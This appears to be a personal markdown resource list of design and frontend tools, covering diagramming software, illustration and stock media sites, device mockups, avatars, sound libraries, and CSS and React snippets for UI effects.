https://sportebois.medium.com/better-architecture-diagrams-for-agile-teams-actionable-tips-and-lessons-e76627dc4315 - https://c4model.com/ (c4 modeling [more from Simon](https://dev.to/simonbrown/how-to-review-a-software-architecture-diagram-6p0)) - http://fmc-modeling.org/ FMC modeling - only rectangles and round things ### General Purpose Diagramming - https://excalidraw.com/ (free, open source) - https://miro.com/ - freemium, used by Maggie - https://www.draw.io/ - now [shifted](https://www.diagrams.net/blog/move-diagrams-net) to https://www.diagrams.net/ (free) - has [VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio) - https://inkscape.org/ (free) - https://whimsical.com/ ($10/mo) - https://www.lucidchart.com/ - https://www.gliffy.com/ - https://diagrams.net/ - https://www.ilograph.com/ - https://zenuml.com - https://www.simplediagrams.com/ - [Microsoft Visio](https://www.microsoft.com/en-sg/microsoft-365/visio/flowchart-software) - https://www.plectica.com/ - more tools - [see hn thread](https://news.ycombinator.com/item?id=21513337) - more canvas diagramming tools https://infinitecanvas.tools/gallery/ ### Software Arch Diagrams - software arch diagrams https://twitter.com/terrastruct ### Sequence Diagrams - UML: https://news.ycombinator.com/item?id=36342931 - "UML, the good parts" - Fundamental Modeling Concepts http://fmc-modeling.org/ - https://www.websequencediagrams.com/ - https://swimlanes.io/ a simple online tool for creating sequence diagrams. - https://bramp.github.io/js-sequence-diagrams/ - https://sequencediagram.org/ - https://playground.diagram.codes/ - http://sdedit.sourceforge.net/ Quick Sequence Diagram Editor (but doesnt seem active) Specifically for BPMN: https://bpmn.io/ ### Entity Relationship Diagrams - https://dbdiagram.io/home which also has an open-source markup language: https://github.com/holistics/dbml - [Databasediagram.com – Private, Text to Entity-Relationship Diagram Tool](https://news.ycombinator.com/item?id=36243926) - [Mocodo](https://mocodo.net): French-flavored ERD, aka Merise MCD, where the layout is constrained to a grid ### Cloud Architecture diagrams useful eg if needs logos - Amazon architecture icons: https://aws.amazon.com/architecture/icons/ as well as the software that has them built in - https://awsicons.dev/ AWS icons - Google Cloud icons, cheat sheet and other assets: https://cloud.google.com/icons - https://www.draw.io/ - https://www.lucidchart.com/ - https://www.omnigroup.com/omnigraffle/ (used by tim bray) - https://www.ilograph.com/ - https://www.cloudcraft.co/ focused on AWS - https://www.cloudskew.com/ - https://arcentry.com/ (interactive/realtime) - discontinued! further reading - lynn langit's list https://github.com/lynnlangit/learning-cloud/tree/master/0_CLOUD-PATTERNS/1_Viz-Systems - the 5 types of arch diagrams https://www.readysetcloud.io/blog/allen.helton/the-5-types-of-architecture-diagrams/ ### Code-based Graph tools - https://gojs.net/latest/samples/decisionTree.html interactive diagrams - 4 major text-to-graph langauges (Comparison https://text-to-diagram.com/) - mermaid https://mermaid-js.github.io/mermaid/ - https://plantuml.com/ - https://github.com/terrastruct/d2 - graphviz/dot - useful inside jupyter - new one: https://google.github.io/typograms/ - http://blockdiag.com/en/ - python's `diagrams` https://pypi.org/project/diagrams/ - https://structurizr.com/ - https://github.com/mhlabs/cfn-diagram visualize cloudformation -> draw.io - https://wavedrom.com/ (OSS) - Digital Timing Diagram or Waveform from simple textual description. - https://chatuml.com/ - An AI assisted diagram editor using PlantUML syntax - way more tools here: https://xosh.org/text-to-diagram/ Node based GUIs: https://github.com/wbkd/awesome-node-based-uis ## Graphics and SVG Illustrations - https://www.brandcrowd.com/maker/tag/hipster - https://www.logotouse.com/ Download any logo in LogoToUse and do whatever you want with them. This is the place to showcase more than 120+ million logos that are already designed worldwide and are archived! Backend entity/ ERD /SQL diagramming - SQL https://drawsql.app/ - Cloud AWS/Azure/GCP diagrams https://www.cloudskew.com/ DIY illustration - Wobble paint https://www.lexaloffle.com/bbs/?tid=40058 ### Wireframing - balsamiq - https://wireflow.co/ free open source visual designer for user flows. collaborative. - AI driven design https://uizard.io/ with wireframe ### Device Mocks Mocking your browser/phone - Browser: https://shooot.bourhaouta.com/, https://screenshot.rocks/ - https://www.brandbird.app/ - Books: https://diybookcovers.com/3Dmockups/ - https://3d-book-css.netlify.app/ and https://3dbook.xyz/ - book cover advice https://convertkit.com/how-to-make-an-ebook-cover - Macbook: https://magicmockups.com - animate them, why not https://deviceful.netlify.app/documentation.html (previously https://deviceful.app/) - phone/watch: https://www.rotato.xyz/ - including making 3d video!!! https://rotato.app/ example https://twitter.com/0xca0a/status/1583504417004789763?s=46&t=xS8iIAOyRQhHzWI8mn4Owg - other devices https://deviceshots.com/ - 3D mocks: https://things.morflax.com/styles - [Screenstab](https://www.screenstab.com): Turn screenshots into dramatically angled photos - 🔥 [Facebook Design Devices](https://facebook.design/devices) - [Shotsnapp](https://shotsnapp.com/) - https://www.ls.graphics/devices-mockups - in context: [Device Mock-Up Inspiration](https://onepagelove.com/tag/devices) - [Lstore Graphics](https://www.ls.graphics/) – Includes video - [Creative Market](https://creativemarket.com/templates/mockups/mobile-web) device mockups - [Pika](https://pika.style): screenshot, website and device mockups (Paid, $99 one time) Record your device https://www.screen.studio/ ### Illustrations - https://www.reddit.com/r/FreeIllustrations/top?t=all - :star: https://undraw.co/ An open-source illustrations website, where you can change the colors of the illustrations online before downloading. - :star: https://www.humaaans.com/ diverse, customizable human svgs - https://fresh-folk.com/ is similar - :star: https://www.blackillustrations.com/ "Beautiful, FREE illustrations of black people for your next digital project" - hire custom designs via https://www.illustratorhub.com/ - :star: https://www.vecteezy.com/ High quality vector graphics with worry-free licensing for personal and commercial use. - :star: https://streamlineicons.com/ux/ illustrations to go with Streamline icons - https://icons8.com/illustrations (previously ouch.pics) - :star: https://blush.design/ good random generator by Pablo Stanley. Made for Sketch, Figma, InVision Studio and Adobe XD. - :star: https://www.freepik.com/ Graphic resources for everyone: Find Free Vectors, Stock Photos, PSD and Icons - https://www.openpeeps.com/ - https://iradesign.io/ Build your own illustrations - very gradient/faceless illo heavy - https://www.storyset.com/ free customizable illustrations for your next project - https://www.pixeltrue.com/ - https://www.pixeltrue.com/frontliner-heroes 24 high-quality Covid illustrations. - https://www.pixeltrue.com/free-illustrations free vector illustrations - https://www.seekpng.com/ 1m+ Transparent PNG Images For Free - https://freellustrations.com/ - https://2.flexiple.com/scale/all-illustrations One new high-quality, open-source illustration each day. Use our color-picker to adapt the illustrations to your brand identity! - https://2.flexiple.com/scale/home - https://illustrationkit.com/ Free vector illustrations for personal & commercial projects no attribution required - https://www.glazestock.com/ - https://openclipart.org/ - https://gallery.manypixels.co/ ManyPixels offer free svg illustrations with the possibility to customize the color as well. - https://generator.opendoodles.com/ illustrations with color generator for svgs - https://www.openpeeps.com/ a hand-drawn illustration library to create scenes of people. - https://opengameart.org/ - https://usesmash.com/ Smash Illustrations features trendy characters and simple illustrations for free in commercial and personal use. It features more than 250+ objects and characters, and 20+ unique scenes so you can compose them however you like. - https://control.rocks/ - https://mixkit.co/free-stock-art/ Mixkit is the Unsplash of illustrations, or that is their objective. It features many illustration categories and also stock videos and music, all free of charge. - https://delesign.com/free-designs/graphics/ - https://illlustrations.co/ 100 beautiful illustrations, designed by Vijay Verma during a 100 days of illustrations challenge. - https://isometric.online/ This website offers a searchable list of nice and free isometric illustrations. - https://www.codeinwp.com/pattern-collection/ abstract art illutrations - https://www.glazestock.com/ - https://lukaszadam.com/illustrations library of Free Illustrations and Icons for everyone. - https://design.dev/ some illustrations in PS/sketch/etc. requires account. - https://www.manuelalangella.com/retroooo-folks/ Retroooo Folks is a vector-based Mix-and-Match library of hand-drawn sketches, created for Adobe Illustrator, Sketch and Adobe Draw. - https://woobro.design/ - https://pimpmydrawing.com/ - https://www.drawkit.io/ Hand-drawn vector illustration resources for your next project - https://www.karthiksrinivas.in/charco A set of 16 handcrafted illustrations for your web & app projects. This set includes categories like 404 error, no internet connection, no service, fatal error, page not found, something went wrong, under construction and many more. - https://www.veila.me/freebies/scandinavian-houses-free-vector-images - https://absurd.design/ - https://github.com/MariaLetta/mega-doodles-pack - https://iradesign.io/ - https://autodraw.com Google AI assisted drawing - https://hotpot.ai Free or paid. Create icons, app screenshots, MacBook/browser mockups, social media posts, and other graphics for mobile apps and browser extensions. - https://www.magicpattern.design/examples - one-click web editor for illustration patterns. It's perfect for branding landing pages, social media posts and featured images. Requires Google signup. - https://gumroad.com/l/just sketch me (paid) - https://error404.fun/ 404 page illustrations - https://designstripe.com/ free illustrations + easy to use web editor that allows customizing palettes, characters, look & feel, among others Illo's in context: https://onepagelove.com/tag/illustrations ### 3D illustrations - https://www.isometriclove.com/ Cute Isometric Objects For Your Design - https://www.handz.design/ 3d hand gestures - https://isoflat.com/ Isometric and flat graphic resources - https://www.shapefest.com/ 160,000+ high resolution PNG images of beautiful 3D shapes - https://powerpeopleplatform.com/ delicious design library of 3D avatars - https://spline.design/ Easily create and publish 3D web experiences. Build and iterate fast with production-ready results. - https://news.ycombinator.com/item?id=33845291 - Blockbench - low poly blender altnerative Learn 3d illo in blender https://polygonrunway.com/ - https://news.ycombinator.com/item?id=33273022 ### Handwritten Look RoughJS Tools - RoughJS Animated Annotation - https://roughnotation.com/ - https://excalidraw.com/ - https://alias-rahil.github.io/handwritten.js/ ### Pixel Art - http://pixelartmaker.com/ - https://nostalgic-css.github.io/NES.css/ - SNES music https://www.zophar.net/music/nintendo-snes-spc ### ASCII Art exampels of ascii art in code: https://blog.regehr.org/archives/1653 ([HN discussion](https://news.ycombinator.com/item?id=31891226)) - https://fatiherikli.github.io/archetype/ - https://textik.com/#a4ec12a68785f25f - http://asciiflow.com/ - https://monodraw.helftone.com/ - text to diagramming tools [list](https://smusamashah.github.io/text-to-diagram) - https://github.com/asciitosvg/asciitosvg ascii to svg diagrams - from picture to ANSI art https://mrogalski.eu/ansi-art/ ### matrix8967's list from [matrix8967]([url](https://news.ycombinator.com/user?id=matrix8967)): Some ANSI Color Codes and ASCIInema can carry you a long way. (note: may want to reformat this in future) - Here's a list of plain text information tools from my notes: - https://mbarkhau.keybase.pub/asciigrid/ - https://gitlab.com/mbarkhau/asciigrid/ - ascii-tables is exactly what is says on the label. - https://ozh.github.io/ascii-tables/ - https://github.com/ozh/ascii-tables/ - netpen - https://www.netpen.io/main/ - https://github.com/ebirger/netpen/ - svgbob and svg-term are both great for creating SVGs out of these plain text files: - https://github.com/marionebl/svg-term-cli/ - https://ivanceras.github.io/svgbob-editor/ - https://github.com/ivanceras/svgbob/ - Here are some TUI/CLI focused frameworks. These are over kill for me - but maybe useful to someone here: - https://www.textualize.io/ - https://charm.sh/ - http://maaslalani.com/slides/ - https://github.com/peterbrittain/asciimatics/ - TUI/Text-Based presentaion tools: - https://sli.dev/ - https://github.com/slidevjs/slidev/ - https://github.com/maaslalani/slides/ - http://maaslalani.com/slides/ - https://github.com/d0c-s4vage/lookatme/ - https://github.com/chunqiuyiyu/ervy/ - Honorable Mention goes to wtf-util and it's TUI configurator: - https://wtfutil.com/ - https://github.com/ggerganov/wtf-tui ### DIY Graphic Design - https://snappa.com/ - https://www.canva.com/ - https://www.fotojet.com/ esp for photo collages - https://studio.polotno.dev/ ### Stock Photos and Videos - :star: https://unsplash.com/ of course - https://www.flickr.com/creativecommons/ - https://isorepublic.com/ - https://negativespace.co/ - stock photo metasearch - https://www.everypixel.com/ - https://same.energy/ AI driven similarity search - https://www.chamberofcommerce.org/findaphoto/ - https://zoomstock.com/ t-SNE stock photo search - https://www.goodfreephotos.com/ 27k free and public domain photos, images, clipart, pics and vectors - https://visualhunt.com/ search 354m high quality creative commons licensed photos - art focus - https://artvee.com/ public domain art (in particular check out the [NASA collection](https://artvee.com/?s=nasa&post_type=product&product_cat=0)) - startups - https://startupstockphotos.com/ - faces - https://www.nappy.co/ "Beautiful, high-res photos of black and brown people. For free." - nature - https://freenaturestock.com/ - http://imagebase.net/ - https://visualsofearth.com/c/ nature, space, desert, etc. mobile focused. - travel - http://photos.bucketlistly.com/ A free creative common collection of over 5000+ travel photos from all over the world anyone can use. - color - https://500px.com/ (premium - search by color) - misc/novelty - http://www.ghibli.jp/info/013251/ studio ghibli free backgrounds - https://gratisography.com/ quirky/whimsy - https://covers.alphacoders.com/by_category/4/2/twitter-header - https://foter.com/ furniture - https://picjumbo.com/ - https://photos.icons8.com/creator/ Create custom stock photos - https://generated.photos/ AI-generated stock photos - https://photos.icons8.com/ - https://duotone.shapefactory.co/?f=f56468&t=27184f&q=_&i=oMpAz-DN-9I (unsplash with duotone filter) - https://allthefreestock.com/ - https://thenounproject.com/search/photos/?q=happy - lists of more resources - random low quality list https://www.mattcrampton.com/blog/mega_list_of_free_image_sites_for_blogging/ - https://github.com/neutraltone/awesome-stock-resources - https://burst.shopify.com/ Burst from Shopify - Free stock photos for everyone - Paid - https://deathtothestockphoto.com/ - https://www.stocksy.com/ (premium) Image modification for hover effects: https://photomosh.com/ ### Stock Videos - https://pexels.com - https://pixabay.com/videos - https://mixkit.co - https://www.vecteezy.com/ - https://www.pond5.com/ - https://videohive.net/ - 3,048,864 Video effects and stock footage ### Video creation tools - Generic editors - https://motionbox.io/ - Good in browser video editor - nice intros and outros, templates a bit limited but pretty good - https://shotstack.io/ - Automate edit bulk videos with custom templates - https://invideo.io/ - good video maker with lots of nice generic templates and imports stock video - https://www.moovly.com/video-templates - https://animoto.com/ - drag and drop video maker. more elegant/real. - Canva video - does some nice transitions and charts but all the stock stuff is behind canva pro ($13/mo) - https://www.renderforest.com/templates seems versatile but not super intuitive and dunno how to change the transitions - https://videobolt.net nice intro editor with some video templates - from jay phelps - web editors - https://detail.co/ - veed.io - https://runwayml.com/ Magical AI tools, realtime collaboration, precision editing, and more. Your next-generation video creation suite. - specialty videos - https://biteable.com/ - simple video maker with templates and stock video. kiiinda cartoony - https://vyond.com/ - also kinda cartoony - https://app.animaker.com/moments also kinda cartoony but can do real video ([story](https://codestory.co/podcast/bonus-raghav-r-s-animaker/)) - https://powtoon.com - nice studio for cartoony professional videos and presentations with nice transitions - https://www.doodly.com/ whiteboard doodle explainer videos. [see demo](https://www.youtube.com/watch?v=Cdv0do3oMbA&list=PLvCrTe3h4inftA8S94CZmRVWB0EzihJeQ&index=1) $39/mo - website demo video https://talevideo.com/ https://www.reddit.com/r/SideProject/comments/ra7inj/app_to_create_a_website_videos/ - code animation based on text diffs https://twitter.com/antfu7/status/1577832867761004544?s=46&t=WQ5RClw9ARIs9_ohcB_v-g tips for product tours https://dev.to/highlight/how-to-create-animated-product-stories-2bcd misc - https://www.fable.app/academy/fable-quick-start-course-part-2-of-3 Fable motion design - https://github.com/remotion-dev/remotion - code videos with React - example usage https://twitter.com/JDihlmann/status/1516853381242961921?s=20&t=kB6uuP2qxW83A0A-NlQerg - https://glitterly.app/ - kinda rough - mostly image maker, video features in beta - https://viddyoze.com "3d video animations". promising videos, but $97 lifetime.. seems sketchy - https://www.fiverr.com/search/gigs?query=explainer%20videos&source=top-bar&search_in=everywhere&search-autocomplete-original-term=explainer%20videos Do it for you - https://www.medialuv.com/ - design animation studio Tutorials from successful Youtubers - Fireship/jeff delaney https://www.youtube.com/watch?v=N6-Q2dgodLs - Florin pop https://www.youtube.com/watch?v=vcKkRrNBdVI ### Avatars - lo-fi autogenerated avatars - https://boringavatars.com/ - https://robohash.org/ - identicons https://idbloc.co/blog/product/update/2019/05/09/toggles-identicons-and-beauty.html - https://github.com/emeraldpay/hashicon - instead of showing people's faces, try stippling https://github.com/pshihn/stippled-image - https://en.gravatar.com/ - https://unavatar.now.sh/ grab social images from username/email - http://avatars.adorable.io/#demo - https://multiavatar.com - https://personas.draftbit.com/ A playful avatar generator for the modern age. - https://avataaars.com/ and https://getavataaars.com/ - https://readyplayer.me/avatar 3d customizable avatars - https://bigheads.io/ - https://joeschmoe.io/ An illustrated avatar collection for developers and designers - https://amritpaldesign.com/toy-faces Toy Faces is a fun diverse library of 3D avatars for your design mockups and personal use. - https://gumroad.com/l/siKBl 3d diverse avatars, paid ## Individual HTML Elements - branding color with accents: https://web.dev/accent-color/ ```css html { --brand: hotpink; scrollbar-color: hotpink Canvas; } :root { accent-color: var(--brand); } :focus-visible { outline-color: var(--brand); } ::selection { background-color: var(--brand); } .dark ::selection { color: #1d1d1d; } /* if you have a dark mode class */ ::marker { color: var(--brand); } :is(::-webkit-calendar-picker-indicator, ::-webkit-clear-button, ::-webkit-inner-spin-button, ::-webkit-outer-spin-button) { color: var(--brand); } /* https://css-tricks.com/two-issues-styling-the-details-element-and-how-to-solve-them/ */ details { border: 2px solid var(--brand-accent); padding: 0.5rem 1rem; } details > summary { cursor: pointer; } details > summary > *:first-child { display: inline; } ``` - meta theme-color https://github.com/sw-yx/swyxkit/issues/19 - dont use default number input attributes - do it all in js https://stackoverflow.blog/2022/09/15/why-the-number-input-is-the-worst-input/ - links https://cssanimation.rocks/animating-links/ - multiline capable inline links https://twitter.com/JoshWComeau/status/1481697476327452676?s=20&t=bEY8vX8hmtGmMWQsFmSEcA - tooltips on hover - https://kazzkiq.github.io/balloon.css/ - [niche tip on tooltips js perf](https://atfzl.com/don-t-attach-tooltips-to-document-body) - https://www.floating-ui.com/ from tippyjs guy - details/summary css - use `details[open]` to target https://codepen.io/chriscoyier/pen/wvJmqjY - put scroll margin on [everything with an `id`](https://piccalil.li/quick-tip/add-scroll-margin-to-all-elements-which-can-be-targeted) ```css [id] { scroll-margin-top: 2ex; } ``` - Link and Button hover effects https://www.youtube.com/watch?v=ceNMP-aQkQ4 - Image modification for hover effects: https://photomosh.com/ - shrinking header on scroll https://css-tricks.com/how-to-create-a-shrinking-header-on-scroll-without-javascript - https://smolcss.dev/ more simple CSS tricks for responsive elements - prefer click menus over hover menus https://css-tricks.com/in-praise-of-the-unambiguous-click-menu/ - how to make settings https://web.dev/building-a-settings-component/ - Defensive CSS https://ishadeed.com/article/defensive-css/ - breadcrumb dividers: https://twitter.com/_philNelson/status/1512316711856345090?s=20&t=q3Cp0O1KPlxADCw_zUNHDA ### Anything But Dropdowns Instead of dropdowns, use: (https://learnui.design/blog/4-rules-intuitive-ux.html) - Segmented Buttons (Horizontal or Vertical) - Checkbox - https://getcssscan.com/css-checkboxes-examples 60+ beautiful checkboxes - Switch - Radio button - Cards and Visual options (images as buttons) - Typeahead (for large dropdown eg countries) - Date (calendar control for poisson dates, input type="date" for high variability) - Stepper (for numbers) ### Buttons - CSS keyboard buttons (Linus' toes) https://twitter.com/thesephist/status/1587950509503270914?s=20&t=k8x3X6k8qD-5zF8Y5vyB8w - https://frontend.horse/articles/buttons-that-spark-joy/ - https://getcssscan.com/css-buttons-examples - 3d buttons - CSS3 3D Buttons http://simurai.com/archive/buttons/# - Button Deluxe v3 A whimsical 3D pure CSS button https://code.hnldesign.nl/btn-deluxe/ - https://cssbuttons.vercel.app/ cssbuttons: HTML & CSS Buttons Collection Built in React - https://getcssscan.com/css-buttons-examples - https://simurai.com/archive/buttons/ bonbon sweet css 3d buttons - https://markodenic.com/tools/buttons-generator/ - moving lightsource on hover css buttons idea https://jsfiddle.net/pixel67/ZxZ6B/28/ - moving gradients on hover https://twitter.com/avstorm/status/1646204829826445312 - Button without ugly focus ring with Tailwind: - `focus:shadow-outline focus:outline-none focus:ring-2 ring-offset-current ring-offset-2` - for links `focus:shadow-outline focus:outline-none` ### Forms - form submission UX https://twitter.com/swyx/status/1081200428950335488?s=21 - Accessible Styled Forms https://github.com/scottaohara/a11y_styled_form_controls - accessibility for all elements https://www.smashingmagazine.com/2021/03/complete-guide-accessible-front-end-components/ - Form Design Best Practices https://medium.com/nextux/form-design-best-practices-9525c321d759 - Form Wizard https://medium.com/nextux/how-to-design-a-form-wizard-b85fe1cc665a - Complex Forms https://medium.com/nextux/form-design-for-complex-applications-d8a1d025eba6 - Form Validation UX https://medium.com/nextux/forms-need-validation-2ecbccbacea1 - Form Validation https://www.bram.us/2021/01/28/form-validation-you-want-notfocusinvalid-not-invalid/ - use `input:not(:focus):not(:placeholder-shown):valid` for non freakout UX - WTF Forms: Nicer Forms eg Radio Buttons with pure CSS https://github.com/mdo/wtf-forms - Output-inspired form: https://twitter.com/steveschoger/status/1171429842442522625 - show button when placeholder-shown: https://codepen.io/liamj/pen/vYYLGZj - Toggles: https://jnkkkk.github.io/MoreToggles.css/allToggles.html - 3D LED switch: https://codepen.io/jkantner/pen/VwaBomY - The Crazy Egg Guide to Great Form UI and UX https://www.crazyegg.com/blog/guides/great-form-ui-and-ux/ - Best practice, research insights and examples by Geri Reid https://gerireid.com/forms.html ### Tables - https://www.uxbooth.com/articles/designing-user-friendly-data-tables/ - https://medium.com/nextux/design-better-data-tables-4ecc99d23356 - https://twitter.com/erikdkennedy/status/1329787833058353154?s=20 - [A table with both a sticky header and a sticky first column](https://css-tricks.com/a-table-with-both-a-sticky-header-and-a-sticky-first-column) ### Datepickers - https://github.com/Pikaday/Pikaday - https://twitter.com/timolins/status/1429761631471480838 ### Sound - https://www.zapsplat.com/ - https://www.myinstants.com/index/se/ - YouTube's Audio Library https://studio.youtube.com/channel/<replace-with-channel-id>/music - https://icons8.com/music - https://freesound.org/ - https://pixabay.com/music/ - https://cchound.com/ 100% free, quality CC audio - https://www.pianobook.co.uk/ as hundreds of no-charge sample libraries (many pianos, lots of other things). - https://loyaltyfreakmusic.com/ some royalty free music. gremlin podcast usees it - podcast intros - https://aaraalto.com/sounds a few brief guitar samples for podcast transitions - https://transistor.fm/free-podcast-intro-music/ free podcast intro music - https://www.soundstripe.com/ - https://www.premiumbeat.com/ - https://www.streambeats.com/ - https://www.canva.com/help/article/stock-music - https://www.epidemicsound.com/ - https://www.youtube.com/channel/UCV3itPyPPgvftXBsreYADlw Bensound - https://www.soundboardguy.com/ - https://snapmuse.com/ - royalty free music for Youtube, Podcast, Vlog and other video projects Paid: - https://www.epidemicsound.com/ - https://artlist.io/ - may have better licensing https://www.youtube.com/watch?v=mYU6XhORomg but no fx - https://www.soundstripe.com/ (cheapest) here's a comparison https://www.youtube.com/watch?v=1YBjY79axRo - https://www.bensound.com/ - https://snapmuse.com/ Tools: - https://www.audacityteam.org/ - https://joshwcomeau.com/react/announcing-use-sound-react-hook/ - https://source-separation.github.io/tutorial/landing.html ### Lightweight Charts/Dataviz - https://rbitr.github.io/ChartS.css/ - easy creation of simple charts for documentation, data storytelling / journalism, etc. It features plots of 1-D lists, and has a custom markdown filter that converts suitably formatted lists directly to charts. It has no dependencies (other than a modern browser), and is very small compared to javascript based charting tools. The html is based on `ul` lists and will collapse back to readible lists in the absence of css support, making it accessible to all readers. It is open source and easily configurable according to project needs. - Apache E Charts https://echarts.apache.org/en/index.html - https://chartscss.org/ Charts.css is a modern CSS framework. It uses CSS utility classes to style HTML elements as charts. - Sparkline fonts in text: https://github.com/aftertheflood/sparks and https://www.scribbletone.com/typefaces/ff-chartwell - https://vizzuhq.com/ - https://docs.anychart.com/Basic_Charts/Stacked/Value/Vertical_Area_Chart - https://antv.vision/en - https://stephenhutchings.github.io/shown/ Statically-generated, responsive charts, without the need for client-side Javascript. ### Dashboarding - https://github.com/cruip/tailwind-dashboard-template This one is made with Tailwind and React and includes optional chart components built with Chart.js. ### Nice React Components - https://react-smooth-range-input.now.sh/ - Theme-ui-sketchy - https://github.com/beerose/theme-ui-sketchy roughjs components with themeui - React Physics Dragger https://react-physics-dragger-demo.netlify.com/ - [React-Designer](http://react-designer.github.io/react-designer/): Easy to configure, lightweight, editable vector graphics in your react components. - `<Foldable>` from [Folding the DOM](https://www.joshwcomeau.com/posts/folding-the-dom/) - React Hamburger Icons https://hamburger-react.netlify.com/ - note issues with hamburger menus https://news.ycombinator.com/item?id=30712599 - React Curved Arrow https://react-curved-arrow.nickjanssen.com/ - Spinners - https://github.com/tienpham94/react-awesome-spinners - requires styled components - https://github.com/davidhu2000/react-spinners - https://github.com/JoshK2/react-spinners-css - https://github.com/JoshK2/react-spinners-css - https://www.npmjs.com/package/react-loaders-kit - 200kb tho - https://github.com/adexin/spinners-react - https://gooey-react.netlify.app/examples/rotating-loader/ - PDF viewer https://react-pdf-viewer.dev/ ### React Toasting - https://cogoport.github.io/cogo-toast - https://fkhadra.github.io/react-toastify/ ### React Gamification - https://github.com/thedevelobear/react-rewards - React Confetti https://alampros.github.io/react-confetti/ - React DOM Confetti https://daniel-lundin.github.io/react-dom-confetti/ ### Misc Weird fun stuff - Perspective stairstep text effects https://codepen.io/jamc92/details/KaMLvY (in action: http://tennentbrown.co.nz) - Split text animations https://web.dev/building-split-text-animations/ - https://party.js.org/ add particle effects to a web page, specifically confetti and sparkles. - Duotone blend modes: https://jmperezperez.com/duotone-using-css-blend-modes/ - full guide to blend modes https://typefully.com/DanHollick/blending-modes-KrBa0JP - Decovar Font with Text shadows: https://codepen.io/mandymichael/details/dJZQaz (and other [Variable Fonts by Mandy](https://variablefonts.dev/)) - Drop shadows: `box-shadow: 10px 12px 0.5rem rgba(0,0,0,0.5);` - Expanding Search buton and text from Ana Tudor [mentioned here](https://dev.to/chriscoyier/learn-about-css-custom-properties-through-clever-uses-of-them-2fjo) - ClippyJS https://www.smore.com/clippy-js - Rythm.js - make your page dance https://okazari.github.io/Rythm.js/ - XKCD chart https://timqian.com/chart.xkcd/ - Netflix slide-in menu - [Codepen](https://codepen.io/FlorinPop17/pen/KKPBgeQ) - Peek Href on Links - [2min video](https://www.youtube.com/watch?v=zMZckWl_B4c&feature=youtu.be) - [Gooey Effect with SVG and Filters](https://css-tricks.com/gooey-effect/) - More on [SVG filters](https://www.smashingmagazine.com/2021/03/svg-generators/#svg-filters-color-matrix-mixer) - [Backdrop Filters and Multiple Inner Shadows](https://twitter.com/MengTo/status/1311029761490198528?s=20) - [Swyx CSS Filter toy](https://svelte.dev/repl/defc901c5f434ed4a76161605cf1db76?version=3.29.0) - [CSS motion blur on css tricks](https://css-tricks.com/how-to-create-a-realistic-motion-blur-with-css-transitions/) - [Instagram filters created with CSS filters, by Una](https://una.im/CSSgram/) - [CSS only hover effect with Headers](https://codepen.io/oliviale/pen/YgzNzK) - [SVG iPhone mock and animated notification transition](https://codepen.io/sdras/pen/LYELqPX) - RoughJS Annotation - https://roughnotation.com/ - Greensock GSAP scroll trigger demo with a ThreeJS Plane model https://codepen.io/ste-vg/pen/GRooLza - little HTML tricks that are handy https://htmldom.dev/ - https://1stwebdesigner.com/css-effects/ - great svg ideas https://twitter.com/cassiecodes/status/1383432725059674112?s=20 ## Pure CSS Tricks - MAKE SURE TO CHECK OUT https://components.ai - https://twitter.com/JoshWComeau/status/1170358024319492097?s=20 - Sarah Drasner picks https://codepen.io/collection/nMgKxJ?cursor=ZD0xJm89MCZwPTEmdj0yNjc5NTQ1 - Lea Verou CSS Secrets https://twitter.com/swyx/status/982786353216843776?s=20 - CSS3 Patterns https://leaverou.github.io/css3patterns/ - CSS 3D Text https://markdotto.com/playground/3d-text/ - 3D CSS hover effects https://polypane.app/css-3d-transform-examples/ - 3D CSS text rotation https://x.st/spinning-diagrams-with-css/ - collapsible list item tree view https://iamkate.com/code/tree-views/ - set cursor to emoji using SVG https://twitter.com/mgechev/status/1354300680807329793?s=20 - swipey image grids using SVG https://www.cassie.codes/posts/swipey-image-grids/ - animated focus https://twitter.com/argyleink/status/1387072095159406596 ```css @media (prefers-reduced-motion: no-preference) { :focus { transition: outline-offset 0.25s ease; outline-offset: 5px; } } ``` - https://ui.glass/generator/ Get started with this free CSS generator based on the glassmorphism design specifications to quickly design and customize the style properties. - glassy glassmorphism [codepen](https://codepen.io/a-trost/pen/dypQzwq), [in context](https://codepen.io/TurkAysenur/pen/ZEpxeYm) ```css .blur-and-rotate { border-radius: 20px; backdrop-filter: blur(20px) hue-rotate(120deg); -webkit-backdrop-filter: hue-rotate(120deg); } ``` - Shadows - Box shadows https://brumm.af/shadows - drop shadows - eg -1px left -1px top - makes buttons look stamped - text shadows - experiment with multiple shadows on one element - https://getcssscan.com/css-box-shadow-examples - Designing Beautiful Shadows in CSS https://www.joshwcomeau.com/css/designing-shadows/ - inspired the smooth shadows generator https://smoothshadows.com/ - https://www.joshwcomeau.com/shadow-palette/ (https://css-tricks.com/shadow-palette-generator/) - Card border Generator https://card.surge.sh/ - Broider - 9-patch css grid borders https://maxbittker.github.io/broider/ - CSS Scroll Shadows https://css-scroll-shadows.now.sh/ - Conic gradient borders https://twitter.com/argyleink/status/1282889809782927360 - Components.ai box shadows https://components.ai/box-shadows - Emoji Shadows https://codepen.io/dienhn/pen/xxErveM - Neuomorphism Generator https://neumorphism.io/#f3d2c3 - primer on skeuo vs flat vs neuomorphism https://uxdesign.cc/tridimensionality-of-skeuomorphism-flat-design-and-neumorphism-bc9d705a5cc7 ```css border-radius: 50px; background: #f3d2c3; box-shadow: 20px 20px 22px #cfb3a6, -20px -20px 22px #fff2e0; ``` - Blend Modes - [`background-blend-mode` color-burn, lighten, multiply are cool](https://codemenatalie.com/blog/background-blend-mode-property/) - CSS clip path - https://labs.jensimmons.com/#shapes - https://bennettfeely.com/clippy/ - https://youtu.be/u9bDe3Bw0sA - CSS tricks clip path animation tutorial https://css-tricks.com/animating-with-clip-path/ - slanted image gallery with clip path https://24ways.org/2019/flexible-captioned-slanted-images/ ### SVG/Canvas Masking - JPG/PNG to SVG - core tool http://potrace.sourceforge.net/ - https://picsvg.com/ - https://svgurt.com/#/ - https://codepen.io/jesstelford/pen/PaBMrL small dynamic SVG placeholders - https://github.com/woltapp/blurhash small dynamic SVG placeholders for blurring up - https://www.usetracy.com/ - make SVGs from monochrome drawings or images - SVG to JSX - https://omatsuri.app/svg-to-jsx - https://svg2jsx.com/ - https://react-svgr.com/playground/ - SVG editors - https://boxy-svg.com/ - https://editor.method.ac/ - https://vecta.io/ collaboration tools for teams, and also supporting diagrams, Autocad drawings, Vision stencils and drawings. - https://macsvg.org/ light open-source macOS application for SVG editing and animations - https://github.com/SVG-Edit/svgedit fully-fledged SVG editor for sophisticated SVG editing. - SVG Compression - https://jakearchibald.github.io/svgomg/ - SVGO 